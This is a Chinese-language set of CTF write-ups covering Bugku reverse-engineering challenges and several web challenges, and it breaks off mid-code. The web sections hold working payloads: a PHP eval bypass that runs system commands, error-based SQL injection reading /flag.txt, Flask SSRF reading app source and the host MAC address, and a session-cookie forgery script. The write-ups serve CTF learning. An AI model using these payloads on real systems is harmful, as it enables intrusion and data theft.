Bugku 入门逆向
拿到文件先运行一下
ida打开查看main函数
发现一堆ASCII,按r转成字符串,得到flag。
flag{Re_1s_S0_C0OL}
Bugku Easy_Re
简单运行程序后ida直接搜索关键字“DUTCTF”,找到flag
DUTCTF{We1c0met0DUTCTF}
Bugku 游戏通关
这个我用OD调试了很久,各种找call,后来突然就悟了,一开始的思路有问题。
首先打开看一下,是个小游戏,应该是通关了就给flag,既然这样那用OD打开,首先中文搜索查找关键字。
找到关键字,进入函数
只在函数开头查看调用树,找到函数调用的上一层。
继续往上找,通过调试找到输入字符串的地方,直接把下一条jmp到调用给出flag call的位置,运行程序得到flag。
zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}
Bugku Easy_Vb
OD打开直接中文搜索
这里还要把前边MCTF换成flag,无语
flag{N3t_Rev_1s_E4ay}
拿到文件运行,用OD加载提示不是有效的PE文件,ida加载也没找到什么东西,最后看了眼提示说是pyinstaller编译的,github上找到一个py脚本,解压打包文件
里面有个123文件,打开找到flag,base64编码
github解压脚本链接https://github.com/countercept/python-exe-unpacker
flag{my_name_is_shumu}
Bugku 马老师杀毒卫士
还是拿到题目运行一下,嗯 神奇的软件,丢到ida里看一下。
直接shift+f12搜索字符串,找到一串很像flag的
一看就是做了位移,试下栅栏,3次,解出flag
flag{ma_bao_guo_nb!}
BugKu NoString
运行一下让输入flag,本来想用OD打开直接动态调试绕过的,但是没找到正确flag的字符串,然后想一下题目名字nostring好像用OD不行了,直接ida打开找到main函数分析一下。
伪代码如下
int wmain()
{
signed int v0; // ecx
signed int i; // eax
signed int v2; // ecx
signed int j; // eax
int k; // eax
int v5; // eax
signed int v6; // ecx
signed int m; // eax
signed int v8; // ecx
signed int n; // eax
char v11; // [esp+0h] [ebp-18h] BYREF
__int128 v12; // [esp+1h] [ebp-17h]
__int16 v13; // [esp+11h] [ebp-7h]
v0 = strlen(Format);
for ( i = 0; i < v0; ++i )
Format[i] ^= 9u;
printf("yelhzl)`gy|})|)oehnl3");
v11 = 0;
v13 = 0;
v12 = 0i64;
v2 = strlen(a80z);
for ( j = 0; j < v2; ++j )
a80z[j] ^= 9u;
scanf(a80z, &v11);
for ( k = 0; k < 19; ++k )
*(&v11 + k) ^= 9u;
v5 = strcmp(&v11, aOehnl3rHfCcgpt);
if ( v5 )
v5 = v5 < 0 ? -1 : 1;
if ( v5 )
{
v6 = strlen(aLF);
for ( m = 0; m < v6; ++m )
aLF[m] ^= 9u;
printf("l{{f{");
}
else
{
v8 = strlen(aNa);
for ( n = 0; n < v8; ++n )
aNa[n] ^= 9u;
printf("{`na}");
}
printf("\r\n");
system("pause");
return 0;
}
这里通过分析伪代码可知,程序里面的所有字符串都和9进行了xor,这样把与输入字符串进行比较的字符串和9xor得到flag
str = 'oehnl3r=<[email protected]'
str1 = ''
for i in str:
str1 += chr(ord(i) ^ 9)
print(str1)
得到flage:{4564aOIJJNY}
flag{4564aOIJJNY}
Bugku ez fibon
拿到还是先运行一下
查壳发现UPX压缩壳
使用UPX解压缩
这里本来想用OD动态调试的,不知道为啥一运行完程序就退出了,下断点也不行,没办法只能用IDA来看了。
已经脱完壳了,直接找到主函数,F5查看伪代码。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v5[24]; // [rsp+20h] [rbp-60h]
char Str[524]; // [rsp+80h] [rbp+0h] BYREF
int j; // [rsp+28Ch] [rbp+20Ch]
int v8; // [rsp+290h] [rbp+210h]
int v9; // [rsp+294h] [rbp+214h]
int i; // [rsp+298h] [rbp+218h]
int v11; // [rsp+29Ch] [rbp+21Ch]
_main();
v11 = 1;
puts("please input your flag:");
gets(Str);
for ( i = 0; i <= 21; ++i )
*(_DWORD *)&Str[4 * i + 112] = Str[i];
if ( strlen(Str) == 22 )
{
v9 = 1;
v8 = 1;
for ( j = 0; j <= 21; ++j )
{
if ( (j & 1) != 0 )
{
v8 += v9;
v3 = (v8 + j + *(_DWORD *)&Str[4 * j + 112]) % 64 + 64;
}
else
{
v9 += v8;
v3 = (v9 + j + *(_DWORD *)&Str[4 * j + 112]) % 64 + 64;
}
*(_DWORD *)&Str[4 * j + 112] = v3;
}
v5[0] = 100;
v5[1] = 121;
v5[2] = 110;
v5[3] = 118;
v5[4] = 70;
v5[5] = 85;
v5[6] = 123;
v5[7] = 109;
v5[8] = 64;
v5[9] = 94;
v5[10] = 109;
v5[11] = 99;
v5[12] = 116;
v5[13] = 81;
v5[14] = 109;
v5[15] = 86;
v5[16] = 83;
v5[17] = 126;
v5[18] = 119;
v5[19] = 101;
v5[20] = 110;
v5[21] = 114;
for ( j = 0; j <= 21; ++j )
{
if ( v5[j] != *(_DWORD *)&Str[4 * j + 112] )
v11 = 0;
}
if ( !v11 )
printf("wrong!");
if ( v11 == 1 )
printf("right flag!");
}
else
{
printf("wrong lenth!");
}
return 0;
}
简单看下代码的思路,是通过输入一个22位长的字符串作与v5做对比,正确就会输出"right flag!"
v5是加密后后的字符串,这里有个问题就是逆向回去有多个解,但只有一个解是正确的,而伪代码里面都是取余在加上64,所以判断解是在65-127之间,通过脚本解出flag
void Test(){
int v9 = 1;
int v8 = 1;
int v3 = 0;
int Str[200]= {0};
int v5[22] = {100,121,110,118,70,85,123,109,64,94,109,99,116,81,109,86,83,126,119,101,110,114};
for (int j=0; j<22; j++){
if ((j & 1) != 0){
v8 += v9;
Str[j] = v5[j] - 64 - j -(v8 % 64);
}
else{
v9 += v8;
Str[j] = v5[j] - 64 - j -(v9 % 64);
}
if(Str[j] < 0){
Str[j] += 128;
}
else if(Str[j] < 64){
Str[j] += 64;
}
printf("%c",Str[j]);
}
}
bugku{[email protected]}
Bugku 特殊的Base64
拿到题目运行一下,丢到ida里,直接看到一串base64,还有一串码表
自定义base64,在线解密网站
flag{Special_Base64_By_Lich}
Bugku 不好用的ce
打开运行程序这里提示需要点击一万次就能得到flag,可以直接用按键精灵直接点他一万次
这里我们不用按键精灵,使用ida打开,发现一串字符串。
一开始以为是base64,后来发现解不出来,看了看评论说是base58,在线解密得到flag
这道题目用OD也可以,直接搜索中文字符串,找到关键点下断点,然后一步步调试,在0x401E24处发现一个跳转,用NOP填充,然后运行也可以。
flag{c1icktimes}
提示了要越过一些/hurdles,访问/hurdles
要PUT方法访问,抓包改PUT
路径要以!结尾
提示请求中没有get和flag字段,要我们传参?get=flag
需要传一个参数&=&=&,url编码后就是%26%3D%26%3D%26
加一个&%26%3D%26%3D%26=1
要求&=&=&的值等于%00,仔细注意少了一个单引号
%00后还有一个换行符
%00(换行)url编码:%2500%0a
要求是username用户才可以,Authorization请求字段可能跟这个有关
翻笔记,Authorization的格式为:Basic 密文(密文格式是 用户:密码)
base64加密一下player:abc(密码没要求随便输一个)加密后是Basic cGxheWVyOmFiYw==放到authorization里
提示密码为字符串open sesame的十六进制MD5值,去加密网站加密,是54ef36ec71201fdf9d1423fd26f97f6b
player:54ef36ec71201fdf9d1423fd26f97f6b拿去base64加密
加密后是cGxheWVyOjU0ZWYzNmVjNzEyMDFmZGY5ZDE0MjNmZDI2Zjk3ZjZi
提示浏览器必须是1337浏览器
修改User-Agent为1337
要求浏览器版本是v.xxxx,还要比9000高
提示对不起,希望来自某个人?既然提到了Forwarded-For,那基本只能是x-forwarded-for: 127.0.0.1
希望来自另一个代理
查了一下用xff头表示使用代理,只要连写两个ip,前面那个就表示代理
x-forwarded-for: 1.2.3.4 ,127.0.0.1
要求代理是13.37.13.37
需要一个Fortune Cookie,Fortune应该是cookie的字段
看不懂了翻译一下,说是希望cookie包含2011年的HTTP cookie(状态管理机制)RFC的编号
直接百度搜RFC文档,然后把时间调到2011找cookie,找到编号是6265
只接受纯文本(MIME)形式的请求,用Accept字段,text/plain就是纯文本
俄语。。。拿去翻译
继续去找http请求字段
俄语是ru
说是希望和origin: https://ctf.bsidessf.net共享文件资源
注意这里不是referer(标识请求当前页面的上一个页面),因为提到了共享,共享的话一般就是跨域资源共享
他说原以为我会被https://ctf.bsidessf.net/challenges?请求
现在是referer了
拿到flag
进入之后直接给了源码:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
先是三层过滤,长度参数c长度不允许超过60,然后是过滤一些字符,然后是设置一个白名单,里面是一些数学运算的函数,然后eval执行我们get传承的算式,然后就会帮我们计算
这里涉及一个动态(可变)函数:如果一个变量名后有(),PHP 将寻找与变量的值同名的函数并尝试执行
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
这题的一种payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
base_convert(37907361743,10,36) 执行结果是hex2bin
传入页面源码里就是:
eval('echo ';$_GET{pi}($_GET{abs})';');
然后&pi=system&abs=tac flag.php传入进去就是
eval('echo ';system('tac flag.php')';');
另外还有一种解法是用利用异或得到函数名和命令
参考他人的fuzz脚本:
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "
";
}
}
}
会产生这样的payload
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=<command>
一个提交订单页面
输入信息后就是简单的提交成功
再就是查询页面
推测可能有二次注入,试了一下发现好像并没有
查看网页源代码,有一个file提示
可能是伪协议file可以用,直接读一下flag.php什么也没读到,换成flag.txt也没有,不过访问flag.txt倒是有响应,只不过看不到内容,说明有flag.txt
读取本页面的源码看看
读取成功
再把网页源码里其他的页面源码也都获取一下
index.php,主页,主要是文件包含
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<!--?file=?-->
confrim.php,主要是将我们填写的信息放入数据库,只对username和phone有过滤
<?php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."å·²æ交订å";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订åæ交æå";
}
} else {
$msg = "ä¿¡æ¯ä¸å
¨";
}
?>
serach.php 查询订单信息,传入username和phone
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>";
} else {
$msg = "æªæ¾å°è®¢å!";
}
}else {
$msg = "ä¿¡æ¯ä¸å
¨";
}
?>
change.php 修改地址,仍然只过滤username和phone,不过不同的是这里会将address代入查询,所以可以在这里注入
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订åä¿®æ¹æå";
} else {
$msg = "æªæ¾å°è®¢å!";
}
}else {
$msg = "ä¿¡æ¯ä¸å
¨";
}
?>
delete.php,删除,过滤同上,就不看了
在修改地址页面尝试注入
分析sql语句
"update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$row = $fetch->fetch_assoc();
.........
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
所以是先查询和username,phone,得到user_id和address
然后更新address字段为新输入的address,old_address为原来的address也就是在提交订单页面输入的address
只要在提交时构造sql注入语句,再在修改时输入一样的username和phone就可以执行语句了,然后尝试直接用load_file读取flag.php,最后查询完会报错,可以用报错注入回显
payload
1' where user_id=extractvalue(1,concat('~',(select substr(load_file('/flag.txt'),1,100)),'~'))#
然后这些xml的函数都最多显示32位
再查后半段
1' where user_id=extractvalue(1,concat('~',(select substr(load_file('/flag.txt'),20,100)),'~'))#
有个链接,点进去看看
会引用外部url,这个时候一般可以用file读取一下
读取失败,可能不是php,再试一下其他读取文件的方式
搜了一下发现local_file///可以用,是flask的框架
flask的框架里一般有一个app/app.py里面会存放路由信息
读取一下
?url=local_file:///app/app.py
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
先生成一个密钥,然后如果session中的username字段等于fuck,那么就直接输出flag的内容,所以我们需要先将当前的session解密,然后将其中的username字段改一下,然后再根据拿到的secret_key加密,就可以用伪造的session访问到flag
里面有一个SECRET_KEY的生成方式,获取主机的mac地址然后转化成整数,根据这个整数生成一个随机数再*233就是SECRET_KEY
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
random是伪随机数,只要生成的依据一样,随机数就一定一样,所有需要拿到mac地址
读一下linux默认存放mac地址的文件
?url=local_file:///sys/class/net/eth0/address
拿到mac地址是 e2:c3:e6:1f:a4:87
再用app源码中生成SECRET_KEY的方式再生成一遍
用session解密脚本解一下当前的session
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
然后将username改为fuck再加密
网上找个session加密脚本
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
然后修改浏览器session就可以访问flag文件了
右边可以输入文章,输入完之后直接在下面添加
估计又是flask的模板注入
但是输入某些内容就会提示拒绝
输入7+7直接显示在了上面,显示的是Auhor的内容,注入点大概就是这里了
查看一下{{handler.settings}}
访问失败,然后再试一下{{config}}
变量里有一个SECRET_KEY,又是session伪造
脚本跑一下
然后登进来之后可以上传东西的页面
Todo: add /admin/model_download button
<a href="/admin/source_thanos">Open Source</a>
zip file with detection.meta detection.index detection.data-00000-of-00001 3 TensorFlow(1.12) files!
The model need x:0 to input a number , and y:0 to output the result "Human" or "Bot"
看不懂这个,搜了一下wp,访问/admin/model_download可以把模型下载下来
然后/admin/source_thanos里面存放着源码:
在Content输入一个长度为1024的字符串,例如aaaaaabxCZC,即可看到flag。
第一个页面里有源码,然后后面就是买东西,消耗points可以买diamonds
然后查看一下第一个页面的源码
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'
def FLAG():
return '*********************' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException:
pass
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled.
'
resp += '<a href="./?action:view;index">Go back to index.html</a>
'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.
'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a>
'
html += '<a href="./?action:view;shop">Go to e-shop</a>
'
html += '<a href="./?action:view;reset">Reset</a>
'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a>
'
elif page == 'reset':
del session['num_items']
html += 'Session reset.
'
html += '<a href="./?action:view;index">Go back to index.html</a>
'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a>
'
html += '<a href="./?action:view;index">Go back to index.html</a>
'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' '*4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '
')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;)
'
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
有一个show_flag()函数,注释提示我们这个方法会return flag,不过这个方法被禁用了,所以要想办法执行他
最后的get_flag_handler(args)函数中有trigger_event('func:show_flag;' + FLAG())方法,需要session的num_items字段大于等于5,然后就会执行trigger_event()函数
看一下这个函数
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
在session['log']中添加内容,也就是会把trigger_event('func:show_flag;' + FLAG()) 添加到session['log']里面,来记录函数的调用,会执行show_flag
现在只要让num_items大于等于5就可以了,看一下相关函数
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
num_items如果小于等于0就返回没有钻石卖了,然后不管num_items还有没有了,session中的num_items字段就加上当前num_items的数量,然后trigger_event()执行consume_polint函数
consume_polint函数:
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
session里的points小于要买的num_items数量,就回滚,把前面session中加的当前的num_items再减掉
所以是先执行,再判断,不够就返回执行的状态
这时我们就可以想办法让num_items在被减掉之前执行get_flag_handler(),然后就可以用3个polint来买5个num_polint
然后execute_event_loop()函数里面有这样一部分代码:
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
这里会检查event_queue队列,并且提示了这个队列的格式# event
is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
然后后面检查格式action:函数#;action:函数#......,之后放到eval里面批量执行
我们可以让eval()去依次执行trigger_event(),buy_handler(),get_flag_handler(),这时consume_point_function()就会在get_flag_handler()之后 ,就可以在回滚之前就让num_items等于5并且进入判断并执行trigger_event('func:show_flag;' + FLAG())
payload:
action:trigger_event%23;action:buy;5%23action:get_flag;
执行成功后把session拿去解码,用github上session解码的脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
然后就可以在解码后的session中看到base64加密的flag
题目给出了源码
app:
这个文件结构见过很多次了,是flask的框架
查看app里的源码的路由信息
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
